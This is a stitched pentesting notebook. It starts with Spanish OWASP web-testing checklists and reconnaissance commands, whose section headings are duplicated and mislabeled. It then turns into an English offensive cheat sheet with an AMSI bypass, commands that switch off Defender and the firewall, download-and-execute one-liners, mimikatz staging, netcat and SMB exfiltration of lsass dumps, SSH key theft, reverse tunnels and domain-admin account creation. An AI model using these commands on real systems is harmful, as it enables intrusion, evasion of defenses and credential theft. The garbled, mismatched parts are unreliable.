IPv4Info](https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-M7pp3kh8vQ20GSxmzJV%2F-M7pucZy5Kem6BYdU5px%2Finfo-10_001.png?alt=media\&token=c6ff3b80-aa7d-4034-8f87-b53c8a7d671c) **WhatWaf** ``` whatwaf -u [URL] --ra --force-ssl -t 23 --csv whatwaf.csv ``` 🌐 **Referencias** * [OWASP GitHub INFO-10](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture.md) # \[CONFIG] GESTIÓN DE CONFIGURACIÓN E IMPLEMENTACIÓN Buscar información sobre el servidor y fallos de configuración e implementación que puedan suponer un riesgo para la organización. ### CONFIG-01 Configuración de infraestructura/red 🎯 **Objetivo** **Comprender** el mapa del servidor y entender cómo puede afectar a la seguridad de la aplicación. 📝 **Pruebas** * [ ] Partiendo de las pruebas obtenidas en INFO-10, identificar posibles vulnerabilidades o fallos de configuración que puedan existir en toda la arquitectura de la aplicación. 🌐 **Referencias** * [OWASP GitHub CONFIG-01](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration.md) ### CONFIG-02 Configuración de la plataforma de la aplicación 🎯 **Objetivo** Buscar información sobre la versión y tipo del servidor web para buscar posibles vulnerabilidades y exploits. 📝 **Pruebas** * [ ] Comprobar las cabeceras de seguridad devueltas por el servidor de la aplicación: * [HTTP Strict Transport Security (HSTS)](https://hackpuntes.com/cabeceras-de-seguridad-http/#HSTS) * [X-XSS-Protection](https://hackpuntes.com/cabeceras-de-seguridad-http/#xss) * [X-Content-Type-Options](https://hackpuntes.com/cabeceras-de-seguridad-http/#content) * [X-Frame-Options](https://hackpuntes.com/cabeceras-de-seguridad-http/#frame) * [Content-Security-Policy](https://hackpuntes.com/cabeceras-de-seguridad-http/#security) * [Public Key Pinning Extension for HTTP](https://hackpuntes.com/cabeceras-de-seguridad-http/#pinning) * [X-Permitted-Cross-Domain-Policies](https://hackpuntes.com/cabeceras-de-seguridad-http/#cross) * [Referrer-Policy](https://hackpuntes.com/cabeceras-de-seguridad-http/#referer) * [Expect-CT](https://hackpuntes.com/cabeceras-de-seguridad-http/#expect) * [Feature-Policy](https://hackpuntes.com/cabeceras-de-seguridad-http/#feature) * [ ] Analizar el código HTML. * [ ] Observar las cookies. **Wappalyzer** ``` wappalyzer [URL] --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4135.1 Safari/537.36" --proxy "http://127.0.0.1:8080" --recursive --pretty >> [DOMAIN].json ``` **Whatweb** ``` whatweb --aggression 4 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4135.1 Safari/537.36" --proxy "127.0.0.1:8080" --url-prefix "https://" [DOMAIN] ``` **Netcraft** ``` https://sitereport.netcraft.com/?url=[URL] ``` 🌐 **Referencias** * [OWASP GitHub CONFIG-02](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration.md) ### CONFIG-03 Fugas de información sensible en el manejo de extensiones de archivos 🎯 **Objetivo** Buscar archivos o directorios que puedan contener información interesante o sensible. 📝 **Pruebas** * [ ] Comprobar el archivo `robots.txt`. * [ ] Observar el tag HTML `META`. * [ ] Lanzar crawl con Burp Suite. * [ ] Lanzar **gobuster** con directorios conocidos. * [ ] Lanzar **wfuzz** con ficheros conocidos. **Wget** ``` wget [URL]/robots.txt ``` **Curl** ``` curl -O [URL]/robots.txt ``` **Gobuster** ``` gobuster -w "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" -t 23 dir -u "[URL]" -o directories.txt ``` ``` gobuster -w "/usr/share/wordlists/dirb/common.txt" -t 23 -x php,txt,html dir -u "[URL]" -o common_files.txt ``` **Wfuzz** ``` wfuzz -c -t 23 -w "/usr/share/wordlists/dirb/common.txt" -z "php,txt,html" -u "[URL]FUZZ" ``` 🌐 **Referencias** * [OWASP GitHub INFO-03](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage.md) ### CONFIG-04 Fugas de información sensible en archivos obsoletos, de backup o no referenciados 🎯 **Objetivo** Enumerar las aplicaciones dentro del alcance de la auditoria y presentes en el mismo servidor (Host compartido), descubrimiento de puertos abiertos, servicios, subdominios o frameworks utilizados. 📝 **Pruebas** * [ ] Utilizar el motor de búsqueda **bing** con el filtro `IP:`. * [ ] Comprobar en `http://ipv4info.com`. * [ ] Lanzar **Nmap**. * [ ] Lanzar **Wfuzz**. * [ ] Lanzar **Assetfinder**. * [ ] Lanzar **Amass**. * [ ] Lanzar **Sublist3r**. **Bing** ``` https://www.bing.com/search?q=IP%3A[IP] ``` **IPv4info** ``` http://ipv4info.com/search/[DOMAIN] ``` **Nmap** ``` nmap -p- --open -T2 -v -oA ports [DOMAIN] ``` ``` nmap -sC -sV -T2 -v -oA services -p[PORTS] [DOMAIN] ``` **Wfuzz** ``` wfuzz -c -t 23 -w "/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt" -H "Host: FUZZ.[DOMAIN]" -u "[URL]" ``` **Assetfinder** ``` assetfinder --subs-only [DOMAIN] | tee -a assetfinder.txt ``` **Amass** ``` amass enum -passive -d [DOMAIN] -o amass-pasive.txt ``` ``` amass enum -brute -d [DOMAIN] -o amass-brute.txt ``` **Sublist3r** ``` python sublist3r.py -d [DOMAIN] -v -o sublister.txt ``` 🌐 **Referencias** * [OWASP GitHub INFO-04](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver.md) ### CONFIG-05 Enumeración de infraestructura e interfaces de administración de la aplicación 🎯 **Objetivo** Buscar fugas de información en comentarios HTML y metadatos de archivos subidos al servidor. 📝 **Pruebas** * [ ] Una vez explorada la aplicación mediante **Burp Suite**, exportar los comentarios desde la pestaña `Target -> Site map -> Engagement tools -> Find comments`. * [ ] Plugin para Burp Suite: [Exiftool Scanner](https://github.com/portswigger/exiftool-scanner). * [ ] Almacenar los archivos obtenidos y descargados durante la auditoria para analizarlos con **FOCA**. **Burp Suite** ![Exportar comentarios desde Burp Suite](https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-M7lKdfnA_18kKPNHpU_%2F-M7mRQr1IeK2ATNFh2ix%2Finfo-05_001.png?alt=media\&token=f43e638e-0d38-42e9-9846-285d5b6621a8) 🌐 **Referencias** * [OWASP GitHub INFO-05](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage.md) ### CONFIG-06 Métodos HTTP 🎯 **Objetivo** Comprender como se forman las peticiones y respuestas de la aplicación, buscar puntos de entrada y parámetros ocultos. 📝 **Pruebas** * [ ] Comprender como están formadas las peticiones y respuestas. * [ ] Identificar en que puntos de la aplicación se usan los métodos POST y GET. * [ ] Conocer los parámetros que usa la aplicación y con que fin son usados. * [ ] Identificar que peticiones POST pueden ser cambiadas por GET (longitud de respuesta similar). * [ ] Buscar formularios u otros posibles puntos de entrada para posteriormente buscar vulnerabilidades XSS o SQLi. * [ ] Exportar las URL y parámetros desde **Burp Suite** `Target -> Site map -> Engagement tools -> Analyze target`. * [ ] Lanzar **Arjun** con las URL y parámetros obtenidos de Burp Suite. **Burp Suite** ![Exportar URL y parámetros desde Burp Suite](https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-M7pi-19glQoyOupnGm7%2F-M7pjkh-wmQCIEsaVbc_%2Finfo-06_001.png?alt=media\&token=e629451c-f63b-4b9c-ae29-5cc6af242146) **Arjun** ``` python3 arjun.py --url urls.txt --get -t 23 -o arjun.json ``` 🌐 **Referencias** * [OWASP GitHub INFO-06](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points.md) ### CONFIG-07 HTTP Strict Transport Security 🎯 **Objetivo** Crear un mapa de la aplicación y entender los flujos de trabajo. 📝 **Pruebas** * [ ] Pasar la aplicación a través de Burp Suite. En la pestaña `Target -> Site map`se creará el mapa de la aplicación. 🌐 **Referencias** * [OWASP GitHub INFO-07](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application.md) ### CONFIG-08 Política de dominio cruzado RIA 🎯 **Objetivo** Conocer los distintos frameworks usados por la aplicación. 📝 **Pruebas** * [ ] Analizar las cabeceras de respuesta del servidor de la aplicación, cookies, extensiones de los archivos, errores o comentarios en el HTML para identificar posibles frameworks utilizados en su desarrollo (Wordpress, JQuery, CKEditor, Vue.js, Joomla, Drupal, etc). * [ ] Lanzar **WPScan**. **WPScan** ``` python3 arjun.py --url urls.txt --get -t 23 -o arjun.json ``` 🌐 **Referencias** * [OWASP GitHub INFO-08](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework.md) ### CONFIG-09 Permisos de archivos ⚠️ **\[ESTA PRUEBA HA SIDO INCLUIDA EN INFO-08]** ⚠️ 🌐 **Referencias** * [OWASP GitHub INFO-09](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application.md) ### CONFIG-10 Toma de control de subdominio 🎯 **Objetivo** Conocer la infraestructura de la aplicación para identificar si existe un WAF, Firewall, Balanceador, etc. 📝 **Pruebas** * [ ] Buscar información referente a si existe un único servidor o más de uno (ejemplo los utilizados por Amazon para servir la información en función desde el país que se visite la aplicación, dando lugar a que un dominio pueda resolver dos IPs distintas). Esto se puede comprobar en el punto INFO-04 mediante la herramienta online **IPv4Info**. * [ ] Cambiar las peticiones entre **HTTP 1.0** y **HTTP 1.1**, con y sin cabecera **HOST** o intentando forzar errores (por ejemplo con caracteres chinos o emojis). * [ ] En HTTP 1.0 se pueden hacer peticiones sin host, podemos obtener información en las cabeceras de respuestas. * [ ] Lanzar **WhatWaf**. * [ ] Plugin para Burp Suite: [WAFDetect](https://github.com/portswigger/waf-detect). **IPv4Info** ![Ejemplo de dos IPs asociadas a un dominio en la herramienta IPv4Info](https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-M7pp3kh8vQ20GSxmzJV%2F-M7pucZy5Kem6BYdU5px%2Finfo-10_001.png?alt=media\&token=c6ff3b80-aa7d-4034-8f87-b53c8a7d671c) **WhatWaf** ``` whatwaf -u [URL] --ra --force-ssl -t 23 --csv whatwaf.csv ``` 🌐 **Referencias** * [OWASP GitHub INFO-10](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture.md) ### CONFIG-11 Mapa de arquitectura de la aplicación 🎯 **Objetivo** Conocer la infraestructura de la aplicación para identificar si existe un WAF, Firewall, Balanceador, etc. 📝 **Pruebas** * [ ] Buscar información referente a si existe un único servidor o más de uno (ejemplo los utilizados por Amazon para servir la información en función desde el país que se visite la aplicación, dando lugar a que un dominio pueda resolver dos IPs distintas). Esto se puede comprobar en el punto INFO-04 mediante la herramienta online **IPv4Info**. * [ ] Cambiar las peticiones entre **HTTP 1.0** y **HTTP 1.1**, con y sin cabecera **HOST** o intentando forzar errores (por ejemplo con caracteres chinos o emojis). * [ ] En HTTP 1.0 se pueden hacer peticiones sin host, podemos obtener información en las cabeceras de respuestas. * [ ] Lanzar **WhatWaf**. * [ ] Plugin para Burp Suite: [WAFDetect](https://github.com/portswigger/waf-detect). **IPv4Info** ![Ejemplo de dos IPs asociadas a un dominio en la herramienta IPv4Info](https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-M7pp3kh8vQ20GSxmzJV%2F-M7pucZy5Kem6BYdU5px%2Finfo-10_001.png?alt=media\&token=c6ff3b80-aa7d-4034-8f87-b53c8a7d671c) **WhatWaf** ``` whatwaf -u [URL] --ra --force-ssl -t 23 --csv whatwaf.csv ``` 🌐 **Referencias** * [OWASP GitHub INFO-10](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture.md) # OWASP: Guía de pruebas Listado de pruebas de OWASP {% file src="/files/-M8y-od1ybX6-4YaVvs3" %} OWASP Checklist ES {% endfile %} ♻️ **4 de junio de 2020** ### \[INFO] RECOPILACIÓN DE INFORMACIÓN * [ ] INFO-01 Fugas de información indexadas por buscadores * [ ] INFO-02 Fingerprinting del servidor web * [ ] INFO-03 Fugas de información sensible en metaficheros del servidor * [ ] INFO-04 Enumeración de aplicaciones en el servidor web * [ ] INFO-05 Fugas de información sensible en metadatos y comentarios * [ ] INFO-06 Identificación de puntos de entrada en la aplicación * [ ] INFO-07 Mapas de rutas de ejecución a través de la aplicación * [ ] INFO-08 & INFO-09 Fingerprinting de la aplicación web * [ ] INFO-10 Mapa de arquitectura de la aplicación ### \[CONFIG] GESTIÓN DE CONFIGURACIÓN E IMPLEMENTACIÓN * [ ] CONFIG-01 Configuración de infraestructura/red * [ ] CONFIG-02 Configuración de la plataforma de la aplicación * [ ] CONFIG-03 Fugas de información sensible en el manejo de extensiones de archivos * [ ] CONFIG-04 Fugas de información sensible en archivos obsoletos, de backup o no referenciados * [ ] CONFIG-05 Enumeración de infraestructura e interfaces de administración de la aplicación * [ ] CONFIG-06 Métodos HTTP * [ ] CONFIG-07 HTTP Strict Transport Security * [ ] CONFIG-08 Política de dominio cruzado RIA * [ ] CONFIG-09 Permisos de archivos * [ ] CONFIG-10 Toma de control de subdominio * [ ] CONFIG-11 Almacenamiento en la nube ### \[IDENT] GESTIÓN DE IDENTIDADES * [ ] IDENT-001 Definición de roles * [ ] IDENT-002 Proceso de registro * [ ] IDENT-003 Proceso de asignación de cuentas de usuario * [ ] IDENT-004 Enumeración de cuentas de usuario * [ ] IDENT-005 Política de nombres de usuario débil ### \[AUTHN] AUTENTICACIÓN * [ ] AUTHN-01 Transporte de credenciales por canales cifrados * [ ] AUTHN-02 Uso de credenciales por defecto * [ ] AUTHN-03 Debilidades en el mecanismo de bloqueo * [ ] AUTHN-04 Fallos en el esquema de autenticación * [ ] AUTHN-05 Sistema recuérdame * [ ] AUTHN-06 Debilidades en la caché del navegador * [ ] AUTHN-07 Política de contraseñas débiles * [ ] AUTHN-08 Debilidades en el sistema de pregunta de seguridad * [ ] AUTHN-09 Debilidades en las funcionalidades de cambio y reseteo de contraseñas * [ ] AUTHN-10 Canales alternativos de autenticación ### \[AUTHZ] AUTORIZACIÓN * [ ] AUTHZ-01 Política de contraseñas débiles * [ ] AUTHZ-02 Fallos en el control de acceso a recursos y funcionalidades * [ ] AUTHZ-03 Escalado de privilegios * [ ] AUTHZ-04 Referencias directas inseguras a objetos ### \[SESS] GESTIÓN DE SESIONES * [ ] SESS-001 Fallos en el sistema de manejo de sesiones * [ ] SESS-002 Atributos de las cookies * [ ] SESS-003 Fijación de sesión * [ ] SESS-004 Variables de sesión expuestas * [ ] SESS-005 Cross Site Request Forgery (CSRF) * [ ] SESS-006 Sistema de cierre de sesión * [ ] SESS-007 Sistema de timeout (caducidad) de la sesión * [ ] SESS-008 Sobrecarga de variables de sesión (Session Puzzling) ### \[INPVAL] VALIDACIÓN DE ENTRADA * [ ] INPVAL-01 Cross Site Scripting reflejado * [ ] INPVAL-02 Cross Site Scripting almacenado * [ ] INPVAL-03 Manipulación de verbos HTTP * [ ] INPVAL-04 Contaminación de parámetros HTTP * [ ] INPVAL-05 Inyección SQL * [ ] INPVAL-06 Inyección LDAP * [ ] INPVAL-07 Inyección XML * [ ] INPVAL-08 Inyección SSI * [ ] INPVAL-09 Inyección Xpath * [ ] INPVAL-10 Inyección IMAP/SMTP * [ ] INPVAL-11 Inyección de código * [ ] INPVAL-12 Inyección de comandos * [ ] INPVAL-13 Sobrecargas de buffer * [ ] INPVAL-14 Vulnerabilidades incubadas * [ ] INPVAL-15 HTTP Splitting/Smuggling * [ ] INPVAL-16 HTTP solicitudes entrantes * [ ] INPVAL-17 Inyección en cabecera Host * [ ] INPVAL-18 Inyección de plantilla del lado del servidor (SSTI) ### \[ERR] MANEJO DE ERRORES * [ ] ERR-01 Análisis de códigos de error * [ ] ERR-02 Análisis de trazas de error ### \[CRYPST] CRIPTOGRAFÍA * [ ] CRYPST-01 Confidencialidad de la información en tránsito * [ ] CRYPST-02 Padding Oracle * [ ] CRYPST-03 Envío de información sensible por canales sin cifrar * [ ] CRYPST-04 Cifrado débil ### \[BUSLOGIC] LÓGICA DE NEGOCIO * [ ] BUSLOGIC-01 Validación de datos de la lógica del negocio * [ ] BUSLOGIC-02 Habilidad de manipulación consultas * [ ] BUSLOGIC-03 Comprobación de integridad * [ ] BUSLOGIC-04 Tiempo de procesamiento * [ ] BUSLOGIC-05 Límite de veces de uso de una función * [ ] BUSLOGIC-06 Evasión de los flujos de trabajo * [ ] BUSLOGIC-07 Defensas contra el mal uso de la aplicación * [ ] BUSLOGIC-08 Subida de tipos de archivos inesperados * [ ] BUSLOGIC-09 Subida de archivos maliciosos ### \[CLIENT] PRUEBAS DEL LADO DEL CLIENTE * [ ] CLIENT-01 Cross Site Scripting basado en DOM * [ ] CLIENT-02 Ejecución de JavaScript * [ ] CLIENT-03 Inyección de HTML * [ ] CLIENT-04 Redireccionamiento de la URL del lado del cliente * [ ] CLIENT-05 Pruebas de inyección de CSS * [ ] CLIENT-06 Pruebas de la manipulación de recursos del lado del cliente * [ ] CLIENT-07 Intercambio de recursos de origen cruzado * [ ] CLIENT-08 Pruebas de Cross Site Flashing * [ ] CLIENT-09 Clickjacking * [ ] CLIENT-10 WebSockets * [ ] CLIENT-11 Mensajería web * [ ] CLIENT-12 Almacenamiento local * [ ] CLIENT-13 Cross-Site Script Inclusion (XSSI) # Page 1 # Checklist ### Defenses * [ ] AMSI * [ ] [CLM](https://github.com/calebstewart/bypass-clm) * [ ] [AV](https://raw.githubusercontent.com/In3x0rabl3/OSEP/main/Bypass_Defender/FuckDefender.ps1) * [ ] Applocker ### Lateral Movement * [ ] LAPS * [ ] Unconstrained Delegation * [ ] Constrained Delegation * [ ] Resource Based Constrained Delegation * [ ] MSSQL Linked Servers * [ ] Pass The Hash * [ ] Relay The Hash * [ ] Crack the Hash * [ ] RDP / SharpRDP * [ ] Web Application * [ ] Fileless Lateral Movement * [ ] Mimikatz * [ ] Proxychains / Autoroute / SSH (Port Fowarding) * [ ] Bloodhound * [ ] JFROG * [ ] KEYTAB (Kerberos) * [ ] SSH * [ ] Ansible * [ ] SPOOLSS ### Privilege Escalation #### Windows * [ ] PowerUP * [ ] LinPeas * [ ] Creds in Config Files * [ ] SEimpersonation (PrintSpoofer,Spooler,etc) * [ ] ShadowCopy * [ ] Hivenightmare * [ ] Mimikatz * [ ] UAC * [ ] MSSQL * [ ] Listening Services * [ ] Kernel #### Linux * [ ] Shared Library * [ ] Sudo * [ ] Groups * [ ] Listening Services * [ ] Ansible (Unix) * [ ] lse / Linpeas * [ ] JFROG ### MSSQL * [ ] Linked Servers * [ ] Priv Esc * [ ] Enable Shell * [ ] Code Exec * [ ] Relay netv2 hash ### Web Application * [ ] Unrestricted File upload (ASPX) * [ ] SQL Injection * [ ] Server Side Template Injection * [ ] RFI * [ ] LFI * [ ] Web Service * [ ] BruteForce * [ ] CVE * [ ] Phishing * [ ] Code Exec # Online Tools * [CyberChef](https://gchq.github.io/CyberChef/) * [RevShells](https://www.revshells.com/) # AV Evasion ### AMSI #### amsi.txt ```powershell $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1); ``` ### Disable AV Defender ```powershell cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -removedefinitions -all Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true NetSh Advfirewall set allprofiles state off ``` ```powershell REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring " /t REG_DWORD /d 1 /f REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableBehaviorMonitoring " /t REG_DWORD /d 1 /f iex(new-object net.webclient).downloadstring('http:///DefendersDeath.ps1') iex(new-object net.webclient).downloadstring('http:///FuckDefender.ps1') ``` ### RDP Allow remote access ```powershell netsh firewall set opmode disable reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f ``` Restricted admin rdp ```powershell New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0 ``` ### Disable NLA (Autenticación a nivel de red) para conectar por RDP sin problemas ``` reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f ``` ### Check PPL ```powershell Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL" ``` ### APP Locker ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections ``` # File transfer ### Imports #### IEX ```powershell IEX (New-Object Net.WebClient).DownloadString('http:///Powermad.ps1') IEX (New-Object Net.WebClient).DownloadString('http:///PowerUpSQL.ps1') IEX (New-Object Net.WebClient).DownloadString('http:///PowerView.ps1') IEX (New-Object Net.WebClient).DownloadString('http:///SharpHound.ps1') ``` ```powershell powershell (new-object system.net.webclient).downloadstring('http:///HostRecon.ps1') | IEX ``` #### Import-Module ```powershell cd c:\windows\tasks . .\PowerView.ps1 ``` ### wget ```powershell wget http:///CLMBypass.exe -OutFile C:\Windows\Tasks\CLMBypass.exe wget http:///mimikatz.exe -OutFile C:\Windows\Tasks\mimikatz.exe wget http:///mimidrv.sys -OutFile C:\Windows\Tasks\mimidrv.sys wget http:///linpeas.sh -O /tmp/linpeas.sh wget http:///Powermad.ps1 -OutFile C:\Windows\Tasks\Powermad.ps1 wget http:///PowerView.ps1 -OutFile C:\Windows\Tasks\PowerView.ps1 wget http:///PsExec.exe -OutFile C:\Windows\Tasks\PsExec.exe wget http:///Rubeus.exe -OutFile C:\Windows\Tasks\Rubeus.exe wget http:///Seatbelt.exe -OutFile C:\Windows\Tasks\Seatbelt.exe wget http:///SharpHound.exe -OutFile C:\Windows\Tasks\SharpHound.exe wget http:///shell.exe -OutFile C:\Windows\Tasks\shell.exe wget http:///SpoolSample.exe -OutFile C:\Windows\Tasks\SpoolSample.exe wget http:///netcat.bat -OutFile C:\Windows\Tasks\netcat.bat wget http:///nc.exe -OutFile C:\Windows\Tasks\nc.exe ``` ### Uploads ```powershell upload /var/www/html/bypass-clm.exe c:\\windows\\tasks upload /var/www/html/CLMBypass.exe c:\\windows\\tasks upload /var/www/html/CustomRunspace.exe c:\\windows\\tasks upload /var/www/html/HostRecon.ps1 c:\\windows\\tasks upload /var/www/html/LAPSToolkit.ps1 c:\\windows\\tasks upload /var/www/html/mimikatz.exe c:\\windows\\tasks upload /var/www/html/PowerView.ps1 c:\\windows\\tasks upload /var/www/html/PrintSpooferNetNI.exe c:\\windows\\tasks upload /var/www/html/PrivescCheck.ps1 c:\\windows\\tasks upload /var/www/html/Rubeus.exe c:\\windows\\tasks upload /var/www/html/SharpHound.exe c:\\windows\\tasks upload /var/www/html/SharpHound.ps1 c:\\windows\\tasks upload /var/www/html/SpoolSample.exe c:\\windows\\tasks upload /var/www/html/XORCrypter.exe c:\\windows\\tasks upload /var/www/html/XORCrypter.exe c:\\inetpub\\wwwroot ``` ### Downloads ```bash download c:\\windows\\tasks\\bloodhound.zip download C:\\windows\\tasks\\HostRecon.txt download C:\\windows\\tasks\\lsass.dmp /var/www/html/lsass.dmp download c:\\windows\\tasks\\PrivescCheck.html download c:\\windows\\tasks\\test.txt ``` # Exfiltrate Data ### Netcat ```bash # Attacker nc -lnvp 1234 > file.txt # Victim nc.exe -vn 1234 < file.txt # Important: Always close the connection from the receiver to avoid losing the shell. ``` ### Impacket ```bash # Attacker sudo impacket-smbserver -comment "SHARE" TMP /home//smb -smb2support # Victim copy-item -path c:\windows\tasks\lsass.dmp \\\tmp\lsass.dmp ``` ### SCP Download private key from user to my machine ```bash scp @:/home//.ssh/id_rsa ~/.ssh/.key ``` ### Python FTPlib ```bash # pip install pyftpdlib # Attacker python -m pyftpdlib -p 21 # Victim # Put file tftp -i PUT file.txt # Get file tftp -i GET file.txt ``` # Interesting files ```bash cat /var/log/auth.log # registra información relacionada con la autenticación ``` # Network Forwarding ### SSH Enable password authentication ```bash sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config ``` Reboot ssh service ```bash sudo systemctl start ssh.service ``` ### Metasploit Use proxy ```bash use auxiliary/server/socks_proxy set srvhost 127.0.0.1 set srvport 1080 set version 4a # proxychains.conf socks4 127.0.0.1 1080 exploit ``` Autoroute ``` use multi/manage/autoroute set session 1 exploit ``` Check proxy ```bash netstat -an | grep :1080 ``` ### Chisel Socks Proxy ```bash # Attacker chisel server -p 8080 --socks5 --reverse # Victim .\chisel.exe client :8080 R:1080:socks # sudo nano /etc/proxychains.conf socks5 127.0.0.1 1080 ``` Port forwarding, attacker port 3306 (R:3306) -> victim 3306 (127.0.0.1:3306/tcp). ```bash # Attacker chisel server -p 8080 --reverse # Victim .\chisel.exe client :8080 R:3306:127.0.0.1:3306/tcp ``` # Tools ### bash ```bash # View apache logs sudo tail -f /var/log/apache2/access.log # Find vulnerable private ssh keys find /home/ -name "id_rsa" # Descargar fichero de clave ssh por scp scp linuxvictim@linuxvictim:svuser.key ./ # Buscar fichero de cache kerberos en linux sudo find / -name "*krb5cc*" # comprobar version de linux uname -m cat /etc/issue # x86_64: para sistemas de 64 bits basados en Intel o AMD. # i386 o i686: para sistemas de 32 bits basados en Intel o AMD. # armv7l: para sistemas de 32 bits basados en ARM. # aarch64: para sistemas de 64 bits basados en ARM. # Who else is on this box (lateral movement)? ls -la /home cat /etc/passwd # What executables have SUID bit that can be executed as another user? find / -type f -user root -perm /u+s -ls 2>/dev/null # Privilege escalation sudo -l cat /etc/sudoers cat /etc/sudoers.d # imprimir hora del sistema date +"%b %d %T" ``` ### bitsadmin ```bash # Tranfer bitsadmin /Transfer myJob http:///bypass-clm.txt C:\Windows\Tasks\bypass-clm.txt # Transfer, Decode and Execute bitsadmin /Transfer myJob http:///bypass-clm.txt C:\Windows\Tasks\bypass-clm.txt && certutil -decode C:\Windows\Tasks\bypass-clm.txt C:\Windows\Tasks\bypass-clm.exe && del C:\Windows\Tasks\bypass-clm.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\bypass-clm.exe ``` ### certutil ```bash # Encode EXE to B64 certutil -encode \\\visualstudio\CLMBypass\bin\Release\CLMBypass.exe \\\visualstudio\CLMBypass\bin\Release\CLMBypass.txt certutil -encode \\\visualstudio\bypass-clm\bypass-clm\bin\x64\Release\bypass-clm.exe \\\visualstudio\bypass-clm\bypass-clm\bin\x64\Release\bypass-clm.txt # Decode B64 to EXE certutil -decode C:\Windows\Tasks\bypass-clm.txt C:\Windows\Tasks\bypass-clm.exe # intallutils ``` ### chisel ```bash # Habilitar autenticación de contraseña sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config # Reiniciar servicio ssh sudo systemctl start ssh.service # sudo nano /etc/proxychains.conf socks5 127.0.0.1 1080 chisel server -p 8080 --socks5 --reverse ./chisel.exe client :8080 R:1080:socks ``` ### cmd ```bash # View privileges of actual user - SeImpersonatePrivilege is a good privilege whoami /priv # View Domain group net user ted /domain | find "Group" # Create a domain admin user with RDP net user /add /domain net localgroup "Remote Desktop Users" /add /domain net group "domain admins" /add /domain # CLM Bypass C:\Windows\Tasks\bypass-clm.exe # InstallUtil # To find InstallUtil Path dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$ # Execute InstallUtils C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\CustomRunspace.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\CLMBypass.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\bypass-clm.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\SpoolSample.exe dc03. web05. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\chisel.exe # Deshabilitar NLA (Autenticación a nivel de red) para conectar por RDP sin problemas reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t 